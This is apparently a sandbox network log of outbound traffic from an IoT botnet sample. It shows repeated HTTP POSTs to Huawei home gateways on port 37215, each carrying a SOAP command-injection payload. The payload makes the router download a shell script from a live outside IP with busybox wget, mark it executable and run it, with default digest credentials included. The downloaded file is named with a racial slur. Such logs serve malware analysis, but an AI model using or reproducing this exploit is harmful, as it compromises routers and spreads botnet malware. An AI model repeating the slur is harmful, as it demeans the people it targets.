Feb 19, 2024 18:35:50.289628983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432729959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462980032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315502882 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460748911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	60330	31.136.215.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.243153095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289632082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432729959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462984085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
